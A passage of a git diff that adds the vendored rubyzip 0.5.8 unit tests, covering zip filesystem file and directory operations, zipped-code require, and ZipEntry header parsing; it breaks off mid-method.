+    assert_raise(NotImplementedError) {
+      @zipFile.file.symlink("file1", "aSymlink")
+    }
+  end
+  
+  def test_size
+    assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") }
+    assert_equal(72, @zipFile.file.size("file1"))
+    assert_equal(0, @zipFile.file.size("dir2/dir21"))
+
+    assert_equal(72, @zipFile.file.stat("file1").size)
+    assert_equal(0, @zipFile.file.stat("dir2/dir21").size)
+  end
+
+  def test_size?
+    assert_equal(nil, @zipFile.file.size?("notAFile"))
+    assert_equal(72, @zipFile.file.size?("file1"))
+    assert_equal(nil, @zipFile.file.size?("dir2/dir21"))
+
+    assert_equal(72, @zipFile.file.stat("file1").size?)
+    assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?)
+  end
+
+
+  def test_file?
+    assert(@zipFile.file.file?("file1"))
+    assert(@zipFile.file.file?("dir2/file21"))
+    assert(! @zipFile.file.file?("dir1"))
+    assert(! @zipFile.file.file?("dir1/dir11"))
+
+    assert(@zipFile.file.stat("file1").file?)
+    assert(@zipFile.file.stat("dir2/file21").file?)
+    assert(! @zipFile.file.stat("dir1").file?)
+    assert(! @zipFile.file.stat("dir1/dir11").file?)
+  end
+
+  include ExtraAssertions
+
+  def test_dirname
+    assert_forwarded(File, :dirname, "retVal", "a/b/c/d") { 
+      @zipFile.file.dirname("a/b/c/d")
+    }
+  end
+
+  def test_basename
+    assert_forwarded(File, :basename, "retVal", "a/b/c/d") { 
+      @zipFile.file.basename("a/b/c/d")
+    }
+  end
+
+  def test_split
+    assert_forwarded(File, :split, "retVal", "a/b/c/d") { 
+      @zipFile.file.split("a/b/c/d")
+    }
+  end
+
+  def test_join
+    assert_equal("a/b/c", @zipFile.file.join("a/b", "c"))
+    assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d"))
+    assert_equal("/c/d", @zipFile.file.join("", "c/d"))
+    assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d"))
+  end
+
+  def test_utime
+    t_now = Time.now
+    t_bak = @zipFile.file.mtime("file1")
+    @zipFile.file.utime(t_now, "file1")
+    assert_equal(t_now, @zipFile.file.mtime("file1"))
+    @zipFile.file.utime(t_bak, "file1")
+    assert_equal(t_bak, @zipFile.file.mtime("file1"))
+  end
+
+
+  def assert_always_false(operation)
+    assert(! @zipFile.file.send(operation, "noSuchFile"))
+    assert(! @zipFile.file.send(operation, "file1"))
+    assert(! @zipFile.file.send(operation, "dir1"))
+    assert(! @zipFile.file.stat("file1").send(operation))
+    assert(! @zipFile.file.stat("dir1").send(operation))
+  end
+
+  def assert_true_if_entry_exists(operation)
+    assert(! @zipFile.file.send(operation, "noSuchFile"))
+    assert(@zipFile.file.send(operation, "file1"))
+    assert(@zipFile.file.send(operation, "dir1"))
+    assert(@zipFile.file.stat("file1").send(operation))
+    assert(@zipFile.file.stat("dir1").send(operation))
+  end
+
+  def test_pipe?
+    assert_always_false(:pipe?)
+  end
+
+  def test_blockdev?
+    assert_always_false(:blockdev?)
+  end
+
+  def test_symlink?
+    assert_always_false(:symlink?)
+  end
+
+  def test_socket?
+    assert_always_false(:socket?)
+  end
+
+  def test_chardev?
+    assert_always_false(:chardev?)
+  end
+
+  def test_truncate
+    assert_raise(StandardError, "truncate not supported") {
+      @zipFile.file.truncate("file1", 100)
+    }
+  end
+
+  def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"])
+    assert_raise(Errno::ENOENT) {
+      @zipFile.file.send(operation, *args)
+    }
+  end
+
+  def test_ftype
+    assert_e_n_o_e_n_t(:ftype)
+    assert_equal("file", @zipFile.file.ftype("file1"))
+    assert_equal("directory", @zipFile.file.ftype("dir1/dir11"))
+    assert_equal("directory", @zipFile.file.ftype("dir1/dir11/"))
+  end
+
+  def test_link
+    assert_raise(NotImplementedError) {
+      @zipFile.file.link("file1", "someOtherString")
+    }
+  end
+
+  def test_directory?
+    assert(! @zipFile.file.directory?("notAFile"))
+    assert(! @zipFile.file.directory?("file1"))
+    assert(! @zipFile.file.directory?("dir1/file11"))
+    assert(@zipFile.file.directory?("dir1"))
+    assert(@zipFile.file.directory?("dir1/"))
+    assert(@zipFile.file.directory?("dir2/dir21"))
+
+    assert(! @zipFile.file.stat("file1").directory?)
+    assert(! @zipFile.file.stat("dir1/file11").directory?)
+    assert(@zipFile.file.stat("dir1").directory?)
+    assert(@zipFile.file.stat("dir1/").directory?)
+    assert(@zipFile.file.stat("dir2/dir21").directory?)
+  end
+
+  def test_chown
+    assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1"))
+    assert_equal(1, @zipFile.file.stat("dir1").uid)
+    assert_equal(2, @zipFile.file.stat("dir1").gid)
+    assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1"))
+  end
+
+  def test_zero?
+    assert(! @zipFile.file.zero?("notAFile"))
+    assert(! @zipFile.file.zero?("file1"))
+    assert(@zipFile.file.zero?("dir1"))
+    blockCalled = false
+    ZipFile.open("data/generated/4entry.zip") {
+      |zf|
+      blockCalled = true
+      assert(zf.file.zero?("data/generated/empty.txt"))
+    }
+    assert(blockCalled)
+
+    assert(! @zipFile.file.stat("file1").zero?)
+    assert(@zipFile.file.stat("dir1").zero?)
+    blockCalled = false
+    ZipFile.open("data/generated/4entry.zip") {
+      |zf|
+      blockCalled = true
+      assert(zf.file.stat("data/generated/empty.txt").zero?)
+    }
+    assert(blockCalled)
+  end
+
+  def test_expand_path
+    ZipFile.open("data/zipWithDirs.zip") {
+      |zf|
+      assert_equal("/", zf.file.expand_path("."))
+      zf.dir.chdir "dir1"
+      assert_equal("/dir1", zf.file.expand_path("."))
+      assert_equal("/dir1/file12", zf.file.expand_path("file12"))
+      assert_equal("/", zf.file.expand_path(".."))
+      assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21"))
+    }
+  end
+
+  def test_mtime
+    assert_equal(Time.at(1027694306),
+		  @zipFile.file.mtime("dir2/file21"))
+    assert_equal(Time.at(1027690863),
+		  @zipFile.file.mtime("dir2/dir21"))
+    assert_raise(Errno::ENOENT) {
+      @zipFile.file.mtime("noSuchEntry")
+    }
+
+    assert_equal(Time.at(1027694306),
+		  @zipFile.file.stat("dir2/file21").mtime)
+    assert_equal(Time.at(1027690863),
+		  @zipFile.file.stat("dir2/dir21").mtime)
+  end
+
+  def test_ctime
+    assert_nil(@zipFile.file.ctime("file1"))
+    assert_nil(@zipFile.file.stat("file1").ctime)
+  end
+
+  def test_atime
+    assert_nil(@zipFile.file.atime("file1"))
+    assert_nil(@zipFile.file.stat("file1").atime)
+  end
+
+  def test_readable?
+    assert(! @zipFile.file.readable?("noSuchFile"))
+    assert(@zipFile.file.readable?("file1"))
+    assert(@zipFile.file.readable?("dir1"))
+    assert(@zipFile.file.stat("file1").readable?)
+    assert(@zipFile.file.stat("dir1").readable?)
+  end
+
+  def test_readable_real?
+    assert(! @zipFile.file.readable_real?("noSuchFile"))
+    assert(@zipFile.file.readable_real?("file1"))
+    assert(@zipFile.file.readable_real?("dir1"))
+    assert(@zipFile.file.stat("file1").readable_real?)
+    assert(@zipFile.file.stat("dir1").readable_real?)
+  end
+
+  def test_writable?
+    assert(! @zipFile.file.writable?("noSuchFile"))
+    assert(@zipFile.file.writable?("file1"))
+    assert(@zipFile.file.writable?("dir1"))
+    assert(@zipFile.file.stat("file1").writable?)
+    assert(@zipFile.file.stat("dir1").writable?)
+  end
+
+  def test_writable_real?
+    assert(! @zipFile.file.writable_real?("noSuchFile"))
+    assert(@zipFile.file.writable_real?("file1"))
+    assert(@zipFile.file.writable_real?("dir1"))
+    assert(@zipFile.file.stat("file1").writable_real?)
+    assert(@zipFile.file.stat("dir1").writable_real?)
+  end
+
+  def test_executable?
+    assert(! @zipFile.file.executable?("noSuchFile"))
+    assert(! @zipFile.file.executable?("file1"))
+    assert(@zipFile.file.executable?("dir1"))
+    assert(! @zipFile.file.stat("file1").executable?)
+    assert(@zipFile.file.stat("dir1").executable?)
+  end
+
+  def test_executable_real?
+    assert(! @zipFile.file.executable_real?("noSuchFile"))
+    assert(! @zipFile.file.executable_real?("file1"))
+    assert(@zipFile.file.executable_real?("dir1"))
+    assert(! @zipFile.file.stat("file1").executable_real?)
+    assert(@zipFile.file.stat("dir1").executable_real?)
+  end
+
+  def test_owned?
+    assert_true_if_entry_exists(:owned?)
+  end
+
+  def test_grpowned?
+    assert_true_if_entry_exists(:grpowned?)
+  end
+
+  def test_setgid?
+    assert_always_false(:setgid?)
+  end
+
+  def test_setuid?
+    assert_always_false(:setgid?)
+  end
+
+  def test_sticky?
+    assert_always_false(:sticky?)
+  end
+
+  def test_readlink
+    assert_raise(NotImplementedError) {
+      @zipFile.file.readlink("someString")
+    }
+  end
+
+  def test_stat
+    s = @zipFile.file.stat("file1")
+    assert(s.kind_of?(File::Stat)) # It pretends
+    assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
+      @zipFile.file.stat("noSuchFile")
+    }
+  end
+
+  def test_lstat
+    assert(@zipFile.file.lstat("file1").file?)
+  end
+
+
+  def test_chmod
+    assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
+      @zipFile.file.chmod(0644, "file1", "NoSuchFile")
+    }
+    assert_equal(2, @zipFile.file.chmod(0644, "file1", "dir1"))
+  end
+
+  def test_pipe
+    assert_raise(NotImplementedError) {
+      @zipFile.file.pipe
+    }
+  end
+
+  def test_foreach
+    ZipFile.open("data/generated/zipWithDir.zip") {
+      |zf|
+      ref = []
+      File.foreach("data/file1.txt") { |e| ref << e }
+      
+      index = 0
+      zf.file.foreach("data/file1.txt") { 
+	|l|
+	assert_equal(ref[index], l)
+	index = index.next
+      }
+      assert_equal(ref.size, index)
+    }
+    
+    ZipFile.open("data/generated/zipWithDir.zip") {
+      |zf|
+      ref = []
+      File.foreach("data/file1.txt", " ") { |e| ref << e }
+      
+      index = 0
+      zf.file.foreach("data/file1.txt", " ") { 
+	|l|
+	assert_equal(ref[index], l)
+	index = index.next
+      }
+      assert_equal(ref.size, index)
+    }
+  end
+
+  def test_popen
+    assert_equal(File.popen("ls")          { |f| f.read }, 
+		  @zipFile.file.popen("ls") { |f| f.read })
+  end
+
+# Can be added later
+#  def test_select
+#    fail "implement test"
+#  end
+
+  def test_readlines
+    ZipFile.open("data/generated/zipWithDir.zip") {
+      |zf|
+      assert_equal(File.readlines("data/file1.txt"), 
+		    zf.file.readlines("data/file1.txt"))
+    }
+  end
+
+  def test_read
+    ZipFile.open("data/generated/zipWithDir.zip") {
+      |zf|
+      assert_equal(File.read("data/file1.txt"), 
+		    zf.file.read("data/file1.txt"))
+    }
+  end
+
+end
+
+class ZipFsFileStatTest < Test::Unit::TestCase
+
+  def setup
+    @zipFile = ZipFile.new("data/zipWithDirs.zip")
+  end
+
+  def teardown
+    @zipFile.close if @zipFile
+  end
+
+  def test_blocks
+    assert_equal(nil, @zipFile.file.stat("file1").blocks)
+  end
+
+  def test_ino
+    assert_equal(0, @zipFile.file.stat("file1").ino)
+  end
+
+  def test_uid
+    assert_equal(0, @zipFile.file.stat("file1").uid)
+  end
+
+  def test_gid
+    assert_equal(0, @zipFile.file.stat("file1").gid)
+  end
+
+  def test_ftype
+    assert_equal("file", @zipFile.file.stat("file1").ftype)
+    assert_equal("directory", @zipFile.file.stat("dir1").ftype)
+  end
+
+  def test_mode
+    assert_equal(0600, @zipFile.file.stat("file1").mode & 0777)
+    assert_equal(0600, @zipFile.file.stat("file1").mode & 0777)
+    assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777)
+    assert_equal(0755, @zipFile.file.stat("dir1").mode & 0777)
+  end
+
+  def test_dev
+    assert_equal(0, @zipFile.file.stat("file1").dev)
+  end
+
+  def test_rdev
+    assert_equal(0, @zipFile.file.stat("file1").rdev)
+  end
+
+  def test_rdev_major
+    assert_equal(0, @zipFile.file.stat("file1").rdev_major)
+  end
+
+  def test_rdev_minor
+    assert_equal(0, @zipFile.file.stat("file1").rdev_minor)
+  end
+
+  def test_nlink
+    assert_equal(1, @zipFile.file.stat("file1").nlink)
+  end
+
+  def test_blksize
+    assert_nil(@zipFile.file.stat("file1").blksize)
+  end
+
+end
+
+class ZipFsFileMutatingTest < Test::Unit::TestCase
+  TEST_ZIP = "zipWithDirs_copy.zip"
+  def setup
+    File.copy("data/zipWithDirs.zip", TEST_ZIP)
+  end
+
+  def teardown
+  end
+ 
+  def test_delete
+    do_test_delete_or_unlink(:delete)
+  end
+
+  def test_unlink
+    do_test_delete_or_unlink(:unlink)
+  end
+  
+  def test_open_write
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+
+      zf.file.open("test_open_write_entry", "w") {
+        |f|
+        blockCalled = true
+        f.write "This is what I'm writing"
+      }
+      assert_equal("This is what I'm writing",
+                    zf.file.read("test_open_write_entry"))
+
+      # Test with existing entry
+      zf.file.open("file1", "w") {
+        |f|
+        blockCalled = true
+        f.write "This is what I'm writing too"
+      }
+      assert_equal("This is what I'm writing too",
+                    zf.file.read("file1"))
+    }
+  end
+
+  def test_rename
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert_raise(Errno::ENOENT, "") { 
+        zf.file.rename("NoSuchFile", "bimse")
+      }
+      zf.file.rename("file1", "newNameForFile1")
+    }
+
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert(! zf.file.exists?("file1"))
+      assert(zf.file.exists?("newNameForFile1"))
+    }
+  end
+
+  def do_test_delete_or_unlink(symbol)
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert(zf.file.exists?("dir2/dir21/dir221/file2221"))
+      zf.file.send(symbol, "dir2/dir21/dir221/file2221")
+      assert(! zf.file.exists?("dir2/dir21/dir221/file2221"))
+
+      assert(zf.file.exists?("dir1/file11"))
+      assert(zf.file.exists?("dir1/file12"))
+      zf.file.send(symbol, "dir1/file11", "dir1/file12")
+      assert(! zf.file.exists?("dir1/file11"))
+      assert(! zf.file.exists?("dir1/file12"))
+
+      assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") }
+      assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") }
+      assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") }
+    }
+
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert(! zf.file.exists?("dir2/dir21/dir221/file2221"))
+      assert(! zf.file.exists?("dir1/file11"))
+      assert(! zf.file.exists?("dir1/file12"))
+
+      assert(zf.file.exists?("dir1/dir11"))
+      assert(zf.file.exists?("dir1/dir11/"))
+    }
+  end
+
+end
+
+class ZipFsDirectoryTest < Test::Unit::TestCase
+  TEST_ZIP = "zipWithDirs_copy.zip"
+
+  def setup
+    File.copy("data/zipWithDirs.zip", TEST_ZIP)
+  end
+
+  def test_delete
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") {
+        zf.dir.delete("NoSuchFile.txt")
+      }
+      assert_raise(Errno::EINVAL, "Invalid argument - file1") {
+        zf.dir.delete("file1")
+      }
+      assert(zf.file.exists?("dir1"))
+      zf.dir.delete("dir1")
+      assert(! zf.file.exists?("dir1"))
+    }
+  end
+
+  def test_mkdir
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert_raise(Errno::EEXIST, "File exists - dir1") { 
+        zf.dir.mkdir("file1") 
+      }
+      assert_raise(Errno::EEXIST, "File exists - dir1") { 
+        zf.dir.mkdir("dir1") 
+      }
+      assert(!zf.file.exists?("newDir"))
+      zf.dir.mkdir("newDir")
+      assert(zf.file.directory?("newDir"))
+      assert(!zf.file.exists?("newDir2"))
+      zf.dir.mkdir("newDir2", 3485)
+      assert(zf.file.directory?("newDir2"))
+    }
+  end
+  
+  def test_pwd_chdir_entries
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert_equal("/", zf.dir.pwd)
+
+      assert_raise(Errno::ENOENT, "No such file or directory - no such dir") {
+        zf.dir.chdir "no such dir"
+      }
+      
+      assert_raise(Errno::EINVAL, "Invalid argument - file1") {
+        zf.dir.chdir "file1"
+      }
+
+      assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort)
+      zf.dir.chdir "dir1"
+      assert_equal("/dir1", zf.dir.pwd)
+      assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort)
+      
+      zf.dir.chdir "../dir2/dir21"
+      assert_equal("/dir2/dir21", zf.dir.pwd)
+      assert_equal(["dir221"].sort, zf.dir.entries(".").sort)
+    }
+  end
+
+  def test_foreach
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+
+      blockCalled = false
+      assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") {
+        zf.dir.foreach("noSuchDir") { |e| blockCalled = true }
+      }
+      assert(! blockCalled)
+
+      assert_raise(Errno::ENOTDIR, "Not a directory - file1") {
+        zf.dir.foreach("file1") { |e| blockCalled = true }
+      }
+      assert(! blockCalled)
+
+      entries = []
+      zf.dir.foreach(".") { |e| entries << e }
+      assert_equal(["dir1", "dir2", "file1"].sort, entries.sort)
+
+      entries = []
+      zf.dir.foreach("dir1") { |e| entries << e }
+      assert_equal(["dir11", "file11", "file12"], entries.sort)
+    }
+  end
+
+  def test_chroot
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+      assert_raise(NotImplementedError) {
+        zf.dir.chroot
+      }
+    }
+  end
+
+  # Globbing not supported yet
+  #def test_glob
+  #  # test alias []-operator too
+  #  fail "implement test"
+  #end
+
+  def test_open_new
+    ZipFile.open(TEST_ZIP) {
+      |zf|
+
+      assert_raise(Errno::ENOTDIR, "Not a directory - file1") {
+        zf.dir.new("file1")
+      }
+
+      assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") {
+        zf.dir.new("noSuchFile")
+      }
+
+      d = zf.dir.new(".")
+      assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort)
+      d.close
+
+      zf.dir.open("dir1") {
+        |d|
+        assert_equal(["dir11", "file11", "file12"].sort, d.entries.sort)
+      }
+    }
+  end
+
+end
+
+class ZipFsDirIteratorTest < Test::Unit::TestCase
+  
+  FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6"  ]
+
+  def setup
+    @dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY)
+  end
+
+  def test_close
+    @dirIt.close
+    assert_raise(IOError, "closed directory") {
+      @dirIt.each { |e| p e }
+    }
+    assert_raise(IOError, "closed directory") {
+      @dirIt.read
+    }
+    assert_raise(IOError, "closed directory") {
+      @dirIt.rewind
+    }
+    assert_raise(IOError, "closed directory") {
+      @dirIt.seek(0)
+    }
+    assert_raise(IOError, "closed directory") {
+      @dirIt.tell
+    }
+    
+  end
+
+  def test_each 
+    # Tested through Enumerable.entries
+    assert_equal(FILENAME_ARRAY, @dirIt.entries)
+  end
+
+  def test_read
+    FILENAME_ARRAY.size.times {
+      |i|
+      assert_equal(FILENAME_ARRAY[i], @dirIt.read)
+    }
+  end
+
+  def test_rewind
+    @dirIt.read
+    @dirIt.read
+    assert_equal(FILENAME_ARRAY[2], @dirIt.read)
+    @dirIt.rewind
+    assert_equal(FILENAME_ARRAY[0], @dirIt.read)
+  end
+  
+  def test_tell_seek
+    @dirIt.read
+    @dirIt.read
+    pos = @dirIt.tell
+    valAtPos = @dirIt.read
+    @dirIt.read
+    @dirIt.seek(pos)
+    assert_equal(valAtPos, @dirIt.read)
+  end
+
+end
+
+
+# Copyright (C) 2002, 2003 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/test/ziprequiretest.rb b/vendor/rubyzip-0.5.8/test/ziprequiretest.rb
new file mode 100644
index 00000000..68d2c714
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/ziprequiretest.rb
@@ -0,0 +1,43 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+$: << "../lib"
+
+require 'test/unit'
+require 'zip/ziprequire'
+
+$: << 'data/rubycode.zip' << 'data/rubycode2.zip'
+
+class ZipRequireTest < Test::Unit::TestCase
+  def test_require
+    assert(require('data/notzippedruby'))
+    assert(!require('data/notzippedruby'))
+
+    assert(require('zippedruby1'))
+    assert(!require('zippedruby1'))
+
+    assert(require('zippedruby2'))
+    assert(!require('zippedruby2'))
+
+    assert(require('zippedruby3'))
+    assert(!require('zippedruby3'))
+
+    c1 = NotZippedRuby.new
+    assert(c1.returnTrue)
+    assert(ZippedRuby1.returnTrue)
+    assert(!ZippedRuby2.returnFalse)
+    assert_equal(4, ZippedRuby3.multiplyValues(2, 2))
+  end
+
+  def test_get_resource
+    get_resource("aResource.txt") {
+      |f|
+      assert_equal("Nothing exciting in this file!", f.read)
+    }
+  end
+end
+
+# Copyright (C) 2002 Thomas Sondergaard
+# rubyzip is free software; you can redistribute it and/or
+# modify it under the terms of the ruby license.
diff --git a/vendor/rubyzip-0.5.8/test/ziptest.rb b/vendor/rubyzip-0.5.8/test/ziptest.rb
new file mode 100644
index 00000000..cd5c7c2b
--- /dev/null
+++ b/vendor/rubyzip-0.5.8/test/ziptest.rb
@@ -0,0 +1,1557 @@
+#!/usr/bin/env ruby
+
+$VERBOSE = true
+
+$: << "../lib"
+
+require 'test/unit'
+require 'zip/zip'
+require 'gentestfiles'
+
+include Zip
+
+
+class ZipEntryTest < Test::Unit::TestCase
+  TEST_ZIPFILE = "someZipFile.zip"
+  TEST_COMMENT = "a comment"
+  TEST_COMPRESSED_SIZE = 1234
+  TEST_CRC = 325324
+  TEST_EXTRA = "Some data here"
+  TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED
+  TEST_NAME = "entry name"
+  TEST_SIZE = 8432
+  TEST_ISDIRECTORY = false
+
+  def test_constructorAndGetters
+    entry = ZipEntry.new(TEST_ZIPFILE,
+			 TEST_NAME,
+			 TEST_COMMENT,
+			 TEST_EXTRA,
+			 TEST_COMPRESSED_SIZE,
+			 TEST_CRC,
+			 TEST_COMPRESSIONMETHOD,
+			 TEST_SIZE)
+
+    assert_equal(TEST_COMMENT, entry.comment)
+    assert_equal(TEST_COMPRESSED_SIZE, entry.compressed_size)
+    assert_equal(TEST_CRC, entry.crc)
+    assert_instance_of(Zip::ZipExtraField, entry.extra)
+    assert_equal(TEST_COMPRESSIONMETHOD, entry.compression_method)
+    assert_equal(TEST_NAME, entry.name)
+    assert_equal(TEST_SIZE, entry.size)
+    assert_equal(TEST_ISDIRECTORY, entry.is_directory)
+  end
+
+  def test_is_directoryAndIsFile
+    assert(ZipEntry.new(TEST_ZIPFILE, "hello").file?)
+    assert(! ZipEntry.new(TEST_ZIPFILE, "hello").directory?)
+
+    assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello").file?)
+    assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello").directory?)
+
+    assert(ZipEntry.new(TEST_ZIPFILE, "hello/").directory?)
+    assert(! ZipEntry.new(TEST_ZIPFILE, "hello/").file?)
+
+    assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello/").directory?)
+    assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello/").file?)
+  end
+
+  def test_equality
+    entry1 = ZipEntry.new("file.zip", "name",  "isNotCompared", 
+			  "something extra", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry2 = ZipEntry.new("file.zip", "name",  "isNotComparedXXX", 
+			  "something extra", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extra", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 123, 1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  1234, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  123, 
+			  ZipEntry::DEFLATED, 10000)  
+    entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  123,  
+			  ZipEntry::STORED,   10000)  
+    entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", 
+			  "something extraXX", 12,  123,  
+			  ZipEntry::STORED,   100000)  
+
+    assert_equal(entry1, entry1)
+    assert_equal(entry1, entry2)
+
+    assert(entry2 != entry3)
+    assert(entry3 != entry4)
+    assert(entry4 != entry5)
+    assert(entry5 != entry6)
+    assert(entry6 != entry7)
+    assert(entry7 != entry8)
+
+    assert(entry7 != "hello")
+    assert(entry7 != 12)
+
+    assert(entry7 != ZipStreamableFile.new(entry7, "aPath"))
+  end
+
+  def test_compare
+    assert_equal(0,  (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a")))
+    assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a")))
+    assert_equal(-1,  (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b")))
+
+    entries = [ 
+      ZipEntry.new("zf.zip", "5"),
+      ZipEntry.new("zf.zip", "1"),
+      ZipEntry.new("zf.zip", "3"),
+      ZipEntry.new("zf.zip", "4"),
+      ZipEntry.new("zf.zip", "0"),
+      ZipEntry.new("zf.zip", "2")
+    ]
+
+    entries.sort!
+    assert_equal("0", entries[0].to_s)
+    assert_equal("1", entries[1].to_s)
+    assert_equal("2", entries[2].to_s)
+    assert_equal("3", entries[3].to_s)
+    assert_equal("4", entries[4].to_s)
+    assert_equal("5", entries[5].to_s)
+  end
+
+  def test_parentAsString
+    entry1 = ZipEntry.new("zf.zip", "aa")
+    entry2 = ZipEntry.new("zf.zip", "aa/")
+    entry3 = ZipEntry.new("zf.zip", "aa/bb")
+    entry4 = ZipEntry.new("zf.zip", "aa/bb/")
+    entry5 = ZipEntry.new("zf.zip", "aa/bb/cc")
+    entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/")
+
+    assert_equal(nil, entry1.parent_as_string)
+    assert_equal(nil, entry2.parent_as_string)
+    assert_equal("aa/", entry3.parent_as_string)
+    assert_equal("aa/", entry4.parent_as_string)
+    assert_equal("aa/bb/", entry5.parent_as_string)
+    assert_equal("aa/bb/", entry6.parent_as_string)
+  end
+
+  def test_entry_name_cannot_start_with_slash
+    assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") }
+  end
+end
+
+module IOizeString
+  attr_reader :tell
+  
+  def read(count = nil)
+    @tell ||= 0
+    count = size unless count
+    retVal = slice(@tell, count)
+    @tell += count
+    return retVal
+  end
+
+  def seek(index, offset)
+    @tell ||= 0
+    case offset
+    when IO::SEEK_END
+      newPos = size + index
+    when IO::SEEK_SET
+      newPos = index
+    when IO::SEEK_CUR
+      newPos = @tell + index
+    else
+      raise "Error in test method IOizeString::seek"
+    end
+    if (newPos < 0 || newPos >= size)
+      raise Errno::EINVAL
+    else
+      @tell=newPos
+    end
+  end
+
+  def reset
+    @tell = 0
+  end
+end
+
+class ZipLocalEntryTest < Test::Unit::TestCase
+  def test_read_local_entryHeaderOfFirstTestZipEntry
+    File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") {
+      |file|
+      entry = ZipEntry.read_local_entry(file)
+      
+      assert_equal("", entry.comment)
+      # Differs from windows and unix because of CR LF
+      # assert_equal(480, entry.compressed_size)
+      # assert_equal(0x2a27930f, entry.crc)
+      # extra field is 21 bytes long
+      # probably contains some unix attrutes or something
+      # disabled: assert_equal(nil, entry.extra)
+      assert_equal(ZipEntry::DEFLATED, entry.compression_method)
+      assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name)
+      assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size)
+      assert(! entry.is_directory)
+    }
+  end
+
+  def test_readDateTime
+    File.open("data/rubycode.zip", "rb") {
+      |file|
+      entry = ZipEntry.read_local_entry(file)
+      assert_equal("zippedruby1.rb", entry.name)
+      assert_equal(Time.at(1019261638), entry.time)
+    }
+  end
+
+  def test_read_local_entryFromNonZipFile
+    File.open("data/file2.txt") {
+      |file|
+      assert_equal(nil, ZipEntry.read_local_entry(file))
+    }
+  end
+
+  def test_read_local_entryFromTruncatedZipFile
+    zipFragment=""
+    File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes
+    zipFragment.extend(IOizeString).reset
+    entry = ZipEntry.new
+    entry.read_local_entry(zipFragment)
+    fail "ZipError expected"
+  rescue ZipError
+  end
+
+  def test_writeEntry
+    entry = ZipEntry.new("file.zip", "entryName", "my little comment", 
+			 "thisIsSomeExtraInformation", 100, 987654, 
+			 ZipEntry::DEFLATED, 400)
+    write_to_file("localEntryHeader.bin", "centralEntryHeader.bin",  entry)
+    entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin")
+    compare_local_entry_headers(entry, entryReadLocal)
+    compare_c_dir_entry_headers(entry, entryReadCentral)
+  end
+  
+  private
+  def compare_local_entry_headers(entry1, entry2)
+    assert_equal(entry1.compressed_size   , entry2.compressed_size)
+    assert_equal(entry1.crc              , entry2.crc)
+    assert_equal(entry1.extra            , entry2.extra)
+    assert_equal(entry1.compression_method, entry2.compression_method)
+    assert_equal(entry1.name             , entry2.name)
+    assert_equal(entry1.size             , entry2.size)
+    assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset)
+  end
+
+  def compare_c_dir_entry_headers(entry1, entry2)
+    compare_local_entry_headers(entry1, entry2)
+    assert_equal(entry1.comment, entry2.comment)
+  end
+
+  def write_to_file(localFileName, centralFileName, entry)
